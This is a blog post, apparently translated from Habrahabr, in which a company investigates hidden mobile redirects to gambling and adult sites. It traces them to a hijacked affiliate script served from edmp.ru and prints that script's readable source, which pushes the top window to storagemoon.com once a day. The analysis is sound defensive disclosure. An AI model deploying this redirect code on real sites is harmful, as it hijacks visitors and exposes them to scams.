Розслідування: куди ваш сайт редиректит користувачів, а ви про це навіть не підозрюєте

image

Добрий день!

Мене звуть Максим, і я директор по продуктах. Ця історія почалася з того, що одного разу я зайшов з мобільного телефону на наш сайт, і на свій превеликий подив, був перенаправлений на сайт якийсь інтернет-рулетки. Спробував зайти ще раз – проблема не повторюється, подумав що глюк. Попросив колег спробувати зайти з мобільного телефону – і волосся встало дибки. Один «став мільйонним відвідувачем і виграв машину», другий – «отримав подарунковий депозит на форекс», третій був втішений «ваучером на 50 000 рублів», а багато хто взагалі потрапили на сайти з нескромно одягненими жінками, роблять всяке. Для тих хто задумався про те, що може бути причиною, підказка – не зламували сайт. Шкідливий код ми додали самі, користуючись одним популярним маркетинговим інструментом. Розслідування під катом.

Проблема
Спонтанні редиректи на сторонні сайти з сумнівним вмістом при заході на наш сайт з мобільних пристроїв.

Підозри
  • Партнерський js-код
  • Вбудовування з боку інтернет-провайдерів (парсинг і зміна трафіку)
  • Проблеми з телефоном, наприклад вірус
Розслідування
Проблема відтворення на різних пристроях, в тому числі на емуляторі, а значить справа не в телефоні. Також редирект повторювався у всіх операторів і wi-fi. Значить справа в партнерському коді.

За допомогою Chrome DevTools ми эмулировали мобільний пристрій і стали намагатися відтворити редирект. Зловили! У мережевих логах знайшлася купа дивних подгруженных ресурсів. Перевірити їх вміст не вдалося – при переході браузер зберігає шляхи до файлів, а не їх вміст. Залишився тільки перший перехід – storagemoon.com – агрегатор, який викидав через ланцюг редиректів на сумнівні сайти.

Гаразд, тоді ми підемо іншим шляхом.

В консолі браузера вставляємо налагоджувальний код:

window.addEventListener. ("beforeunload", function() { debugger; }, false)

Він відпрацьовує при початку переходу на нову сторінку. Далі стали заходити на Фоксфорд, вичищаючи кеш. В черговий раз знову пощастило – перехід ініціював скрипт за адресою edmp.ru/pix/as_551.js.

Пруф:

image

Сам скрипт затягувався партнерського коду ElonLeads.

Справедливості заради, з ElonLeads ми вже не працюємо кілька місяців, але після відключення не прибрали код ретаргетинга.

Розбір роботи цього скрипта для мобільних пристроїв (скрипт за цією адресою з десктопа виглядає інакше):

При першому завантаженні скрипту користувача перенаправляє за адресою storagemoon.com. Крім цього, в localStorage записується під ключем «MenuIdentifier» наступне час редиректа, а саме рівно через добу. Протягом доби скрипт буде вести себе тихо і нікому не заважати.

Однак на бекенде теж є якась логіка. Тому що даний скрипт підвантажується тільки на мобільних, і не завжди в перший раз.
Можливо, кожному 10-му, наприклад, або через якийсь час. Можливо, запам'ятовується IP. Інакше повинен бути редирект відразу після очищення localStorage.

Сам код скрипта в читаному вигляді:

function() {
function t() {
return !!localStorage.getItem(a)
}

function e() {
o(), parent.top.window.location.href = c
}

function o() {
var t = r + i;
localStorage.setItem(a, t)
}

function n() {
if (t()) {
var o = localStorage.getItem(a);
r > o && e()
} else e()
}
var a = "MenuIdentifier",
r = Math.floor((new Date).getTime() / 1e3),
c = "http://storagemoon.com",
i = 86400;
n()
}();

На додаток, можна помітити з історії whois, що домен edmp.ru, з якого завантажується скрипт, що вводить користувача в невідомі дали, поміняв власника з ELONLID, LLC на Private Person. Мабуть, тоді і почалися фокуси.

І, насамкінець, партнерський код ElonLeads, затягує саме цей edmp.ru/pix/as_551.js:

<script defer="defer" id="elpix">
try {

(function(){
window.elon = {
shop: 4,
user: {{user_id}}
};
var script = document.getElementById('elpix'), as_name = 'as_551', as = document.createElement('script');

Що сталося (на наш погляд)
ElonLeads, CPA мережа, лічильники якій стояли на тисячах сайтів, втратила (продала?) доступ до домену edmp.ru. З цього домену тягнувся js скрипт, який веб-майстри встановлювали на сайт, щоб приєднатися до CPA мережі. Зловмисники змогли підмінити скрипт і продовжують заробляти гроші на редиректах на сумнівні сайти. Були вони в змові з ElonLeads – невідомо. Однак своїх партнерів ElonLeads ніяк не попередила про зміну коду лічильників. Тому, можливо, і з вашого сайту теж йдуть редиректи на інтернет рулетки та інше розлучення.

Сподіваюся, ця стаття допоможе тим, кого в даний момент також обманюють CPA-мережі.

У розслідуванні брали участь: obdolbacca, tauron, gremglee
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.